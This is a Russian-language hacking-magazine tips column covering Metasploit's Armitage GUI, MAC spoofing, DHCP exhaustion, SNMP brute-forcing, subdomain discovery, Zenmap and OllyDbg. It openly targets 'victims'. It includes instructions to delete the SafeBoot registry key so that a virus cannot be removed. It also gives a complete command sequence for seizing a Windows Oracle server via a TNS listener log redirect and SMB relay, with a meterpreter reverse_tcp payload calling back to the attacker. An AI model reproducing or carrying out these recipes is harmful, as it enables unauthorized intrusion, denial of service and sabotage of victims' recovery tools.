Задача: Создать GUI-интерфейс под Metasploit Framework.

 

Решение

Прошедшим летом MSF обзавелся новым GUI-интерфейсом, написанным на Java. Это было хорошей заменой старому, кривоватому. Об этом я писал в одном из прошлых номеров. Java-гуй вырос. И теперь представляет собой хороший продукт. Хотя, спартанский такой получился — консоль не заменит. Удобно в нем разве что полазить по папочкам жертвы или порыскать по структуре модулей/сплойтов, которых становится все больше. Юзабилити у него не на самом высоком уровне. Но некоторое время назад у нового гуя появился конкурент. Причем от стороннего фаната-разработчика, который трудится не покладая рук.

Гуи получился хорошенький, няшный такой :). И народу это творение понравилось. Название ему (точнее, ей) – Armitage. Фанатика-создателя зовут Рафаэль Мудж. Сайт — fastandeasyhacking.com. Armitage, аналогично официальному GUI, написана на Java и использует RPC для взаимодействия с MSF (хотя и используется RPC, но обертке требуются кое-какие части самого MSF, потому удаленное использование Armitage пока невозможно). Для работы новой GUI требуется Java версии не ниже 1.6, а также база данных (PostgreSQL или MySQL), к которой подключен MSF. Armitage получилась и юзабельна, и очень наглядно-показательна. С такой штукой круто скриншоты делать. Тру-хакерские получаются :).

Видно, что Рафаэль подошел к делу с любовью. Сам автор позиционирует свое творение как вещицу для тех, кто не юзает MSF каждый день, но хотел бы без проблем воспользоваться всеми благами фрэймворка. Но лучше один раз увидеть, чем сто раз прочитать — для этой штуковины уж точно. А потому сразу отправляю на просмотр пары показательных видео: fastandeasyhacking.com/media.

Кроме красот и хорошей юзабельности есть еще небольшие полезные фичи и бонусы, которые в совокупности делают Armitage уж точно круче официального GUI. Например:

  • красивое название и стильная иконка :);
  • визуализация хостов поверженной сети, направления атаки;
  • рекомендации по использованию сплойтов/развитию атаки;
  • понятное и постоянное взаимодействие с базой данных.

Из косяков сразу стоит отметить некорректную работу с русскими кодировками и пока что отсутствующий модуль Incognito. Установка и запуск Armitage Так как проект небольшой, то в нем нет поддержки старых версий MSF (а оно кому-то надо?). Потому желательно иметь наиболее свежую версию MSF (msfupdate). Итак, установка под Win.

1. Разархивируем архив в папку с MSF. Если точнее, то armitage.bat – в корень, иконку — в icons; armitage – в msf3, папку armitage — в папку data.

2. Запускаем msfrpcd. Либо в msfconsole пишем loadxml, из которого получаем логин и пароль, либо запускаем в консоли (стандартной виндовой или от MSF) команду:

ruby msfrpcd –P password –f

Здесь –P — пароль на вход (логин msf), -f –демон в бэкграунд (не работает в Win).

3. Armitage запускаем, используя armitage.bat. Вводим логин, пароль и другие настройки для подключения к msfrpcd, строка для подсоединения к БД подгрузится автоматически. Если последнее не произошло, то можно сделать это ручками – настройки БД MSF'а лежат в %MSF%\config\database.yml.

4. Кликаем Connect и наслаждаемся прекрасным :).
Установка под *nix.2.

  • Установить Armitage проще всего, используя apt-get:

apt-get install armitage

  • Второй пункт аналогичен Win-версии (разве что ruby можно убрать).
  • Данные по БД требуется указывать вручную. В BackTrack4 R2 используется MySQL:

Запускаем MySQL:

/etc/init.d/mysql start

Запускаем Armitage:

./armitage.sh

Логин\пароль в настройках коннекта к БД – root\toor.

Последние новости: Armitage теперь устанавливается автоматически по команде msfupdate.

 

Задача: Подменить MAC-адрес сетевой карты.

 

Решение

Да-да-да, задача простая. Но это ни в коем случае не умаляет ее значимости. Напомню, MAC-адрес – это уникальный 48-битный идентификатор, присваиваемый каждой единице оборудования в сети. Помни, что MAC не выходит за пределы локалки и обрубается при выходе пакета из другого сегмента сети. А потому потребность в смене MAC’а связана в основном с «работой» в локальных сетях. Например, когда заблочат на каком-то сетевом оборудовании за неправомерные действия типа сканирования. Фильтрация по MAC'у – одно из основных действий. Все сетевухи позволяют изменять MAC-адрес, но настройки чаще всего запихнуты куда-то глубоко, и вносить изменения в производственных масштабах неудобно.

Под Unix существует классический macchanger (alobbs.com/macchanger). Можно поменять адрес на полностью рандомный MAC, частично рандомный (от определенного производителя) либо ввести его вручную.

ifconfig eth0 down
macchanger -a eth0

Здесь мы получаем рандомный MAC на интерфейсе eth0, перед этим отключив его в первой строчке. Можно обойтись и системными средствами(Linux):

ifconfig ethN hw ether <mac-address>

А под Win могу посоветовать TMAC от наших индийских соратников (technitium.com) — утилита хороша тем, что работает под все версии винды. Можно выбирать производителя, отключать получение IP по DHCP, а также есть пара полезных мелочей типа автоматического отключения интерфейса на время смены адреса.

А главное – сделано в Индии :). Кстати, на основе смены МАС'а существует одна DoS-атака – израсходование всех IP-адресов подсети. Атака возможна, если в локалке работает выдача по DHCP. Суть заключается в том, что мы с подставных MAC'ов запрашиваем новые IP. DHCP-сервер выдает их нам. Привязка MAC–IP на сервере действует чаще всего в течение 24 часов. Таким образом, достаточно быстро (в зависимости от размера подсети) мы заполучим все свободные IP-адреса, и серверу будет нечего выдать ни нам, ни кому бы то ни было еще :).

К Metasploit'у есть модуль, реализующий эту тему — DHCP Exhaustion. Я о нем упоминал пару месяцев назад, когда описывал DNS MiTM. Взять можно тут: digininja.org/metasploit/dns_dhcp.php

 

Задача: Администрировать сетевое оборудование, используя SNMP-протокол

 

Решение

SNMP (Simple Network Management Protocol) — это протокол для удаленного управления всевозможными сетевыми устройствами (что, думаю, понятно из расшифровки аббревиатуры).

Для своей работы SNMP использует UDP-протокол. По стандарту сервис висит на 161 порту. Версий у SNMP протокола аж целых три. Версия 1 самая незащищенная – пароль, а точнее так называемая community string, передается в открытом виде в UDP-пакете. Так что можно проснифать. В версии 2 и 3 применяются хэширование и шифрование соответственно, но и они имеют криптографические проблемы.

Хорошая практика — указывать устройству, с каких IP могут приходить SNMP-запросы. Но и это при определенных условиях легко обходится, так как в UDP отсутствует «рукопожатие» — предварительный обмен пакетами для установки соединения. Сам протокол поддерживается почти всеми сетевыми устройствами типа свитчей, роутеров, гейтвеев и так далее. Самые распространенные community string'и – public с правами чтения и private с правами чтения/записи настроек.

Кстати, public не такая уж бесполезная вещь, как может показаться. К примеру, по SNMP можно узнать точную версию ОС, список всех запущенных процессов и открытых портов, информацию о сетевых интерфейсах и прочие интересные данные. Кроме того, по SNMP-протоколу можно получить полезную информацию от всевозможных штуковин типа обычных сетевых принтеров или чего-то более специализированного, например частей системы IBM Tivoli. А теперь — статистика.

Во-первых, протокол версии 1 до сих пор поддерживается и очень широко распространен. Во-вторых, чаще всего на сетевых устройствах SNMP включен по умолчанию, причем с общеизвестными стрингами. И в-третьих, если поменять стандартный пароль на веб-интерфейс или ssh к устройству админы не забывают, то с SNMP совсем другое дело. Да и на файрволлах тоже нечасто блочат UDP-трафик.

И немного практики. Самое важное – подобрать эту самую communityстрочку, а потому юзаем модуль Metasploit'а:

Выбираем модуль:

use auxiliary/scanner/snmp/snmp_login

Указываем цель и запускаем:

set RHOSTS ip_addr
run

Подобрав строчку, можно прочитать основную информацию. Юзаем модуль auxiliary/scanner/snmp/snmp_enum.

И еще одна важная деталь. SNMP — это универсальный протокол для самых рзличных устройств, а потому встречаются небольшие трудности с его использованием, так как MIB (иерархия настроек) у разных устройств — разная, хотя и есть общие ветки (которые как раз и читаются модулем snmp_enum). В метасплойте есть несколько модулей, заточенных под определенные задачи/устройства. Это скачка/закачка конфигов для Cisco, а также раскрытие пользователей и шар на Windows-системах.

Для других устройств можно посмотреть их MIB'ы и использовать специализированный софт под SNMP с net-snmp.sourceforge.net, который, кстати, предустановлен в BT4.

 

Задача: Поиск сайтов по доменному имени

 

Решение

И опять займемся собирательством информации. В ситуациях, когда взламывается какой-то крупный портал, задача определения поддоменов – важная, как ни крути. Кто знает, с какого конца пролезешь и откуда вылезешь? Ведь безопасность — вещь комплексная и часто рушится с малого... У знаменитого портала netcraft.com есть одна приятная возможность – поиск сайтов по части доменного имени.

Например, мы хотим найти поддомены xakep.ru. Пишем xakep – получаем результат. Конечно, есть и другие способы, но этот быстр и особенно хорош, если поддомены хостятся в разных местах. Еще положительная вещь – возможность использовать лайтовые регулярные выражения при запросах:

  • - — любое количество символов;
  • ? — любой символ;
  • [] – какой-то из перечисленных символов.

Например, более точный запрос на поддомены xakep.ru выглядит следующим образом:

*.xakep.ru

А так можно увидеть все языковые поддомены googl’а:

www.google.*.??

В дополнение к полученной информации мы видим примерную версию ОС, а также владельца IP-адреса обнаруженных серверов.

 

Задача: Убрать возможность захода в безопасный режим Windows.

 

Решение

Наверное каждый, кто пользовался виндой, залезал в этот пресловутый безопасный режим (Safe Mode) для решения каких-то проблем в самой ОС, либо вычищая накопившиеся кучи вирей :). Ну так вот, чтобы твой вирь не покоцал комп, да или просто из хулиганских целей (вспоминаются ранние выпуски журнала Хакер :)), безопасный режим можно убить. Делается это просто – удалением следующей ветки реестра:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot

В результате при попытке запустить безопасный режим появится «синий экран смерти» с ошибкой о кривости реестра. Важный момент: чтобы вносить изменения в данную ветку, требуются права админа.

Вместо удаления можно поступить более хитро. У SafeBoot есть подветки (разделы)– Minimal и Network, которые определяют сервисы, запускаемые при старте системы в «безопасном режиме» или в «безопасном режиме с поддержкой сетевых интерфейсов». Таким образом мы можем, например, отключить мышу и клаву. Кстати, эту возможность можно использовать и во благо :).

 

Задача: Захватить Windows c БД Oracle через TNS-listener.

 

Решение

В прошлом номере я писал об уязвимостях TNS-listener'а. Особенно при стандартных настройках в версиях Oracle 8/9. Этот пример использует ту же уязвимость (а точнее — возможность установки файла логов), поэтому не буду повторяться в описании. Фишка данного метода заключается в использовании set_log'а совместно с SMBRelay'ем. Ну, я думаю, ты понял идею.
Итак, поднимаем SMBRelay сервак (естественно, в Metasploit’е):

use exploit/windows/smb/smb_relay

Выбираем нагрузку:

set PAYLOAD windows/meterpreter/reverse_tcp

Куда smbrelay’им:

set RHOST IP_жертвы

Куда коннектится back-connect шеллу:

set LHOST наш_IP exploit

Далее запускаем perl-скрипт, который задаст Oracle-серверу путь сохранения логов, а именно — наш комп с настроенным SMB-relay’ем.

./tnscmd.pl -h oracle_server_ip --rawcmd
"(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)
(USER=))(COMMAND=log_file)(ARGUMENTS=4) (SERVICE
=LISTENER)(VERSION=1)(VALUE=\\\\ip_smb_relay_server\\share)))"

И через пару секунд мы получим администраторские права к системе. Если Oracle стоит старый (8/9), то, возможно, операционка тоже старая, непропатченная, а потому релэй можно попытаться сделать на нее же.

И самый важный момент – сервис Oracle'а должен быть запущен с правами пользователя, а не под системой. Жаль, что такое бывает нечасто.

Видео-пример можно посмотреть на vimeo.com/5500931.

 

Задача: Отфильтровать отчеты Nmap в Zenmap’е

 

Решение

Nmap — вещица всем известная и многофункциональная. У нее есть несколько форматов для сохранения данных. Имхо, самые юзабельные — это XML (параметр -oX) и gnmap (параметр -oG). Последний — так называемый greppable nmap, подогнанный под классическую утилитку grep. При работе с крупными сетями возникает необходимость быстро и четко делать выборки по тем или иным параметрам. Но с grep'ом оперативность не так велика, особенно с учетом отсутствия под виндой такой команды.

Потому для меня стало приятным знакомство с Zenmap'ом. Для справки: Zenmap – это официальный GUI к Nmap'у. Раньше я в нем вообще не видел смысла – в консоли все быстрее делается.

Но с обработкой результатов он, конечно, помогает. Вопервых, Zenmap умеет читать результаты скана в XML-виде.

Во-вторых, может работать сразу по нескольким отчетам в одном окне с объединением результатов. То есть, например, можно открыть скан портов всей сетки и скан какой-то ее части, но с определенными сервисами на портах. В результате хосты не дублируются, а информация по каждому порту берется из XML с большим количеством данных.

И, наконец, можно использовать фильтры. Внизу есть кнопка «Фильтр хостов». В ней можно задавать подсетку IP-адресов для отображения. Командами вида «op», «fp», «ufp» можно указать, что отображать нужно только открытые, отфильтрованные или неотфильтрованные порты соответственно, а также задать конкретные порты для отображения. Командой «s:» можно поставить текстовый фильтр на сервисы.

Также прикольные вещи в Zenmap'е – отображение топологии сети и возможность сохранения профилей сканов. В общем, очень советую попробовать.

Из минусов стоит пожаловаться на лаговость GUI – если количество хостов превышает 1 000, то прога тупит около секунды после каждого клика.

 

Задача: Поиск строк при дебагге в OllyDBG.

 

Решение

В данной задаче имеется в виду динамический поиск строк, то есть не по виртуальной памяти, а в момент выполнения программы. Предположим, мы занимаемся реверсом какой-то проги и нам требуется установить выполнение программы, когда запускается функция со строковыми параметрами, введенными нами ранее. Или нужно найти функцию сравнения строк в процессе взламывания софтины. То есть, нас интересует тот момент, когда либо в регистрах будет адрес ячейки нашей строчки, либо при вызове функции в параметрах будет наша строка. Надеюсь, получилось внятно объяснить смысл задачи :).

Описанная возможность отсутствует среди стандартных возможностей Олли. И большую часть дел приходится выполнять ручками. Зато у Олли есть плагины. Данная задача решается OllyStepNSearch’ем, который изначально написан Дидье Стивенсоном (blog.didierstevens.com/programs/ollystepnsearch).

Плагин делает то, что описано выше, а именно — построчно выполняет программу (по F7) и проверяет, появилась ли ссылка на строку в регистрах или параметрах функций. Проблем с использованием, думаю, не возникнет. Все просто.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии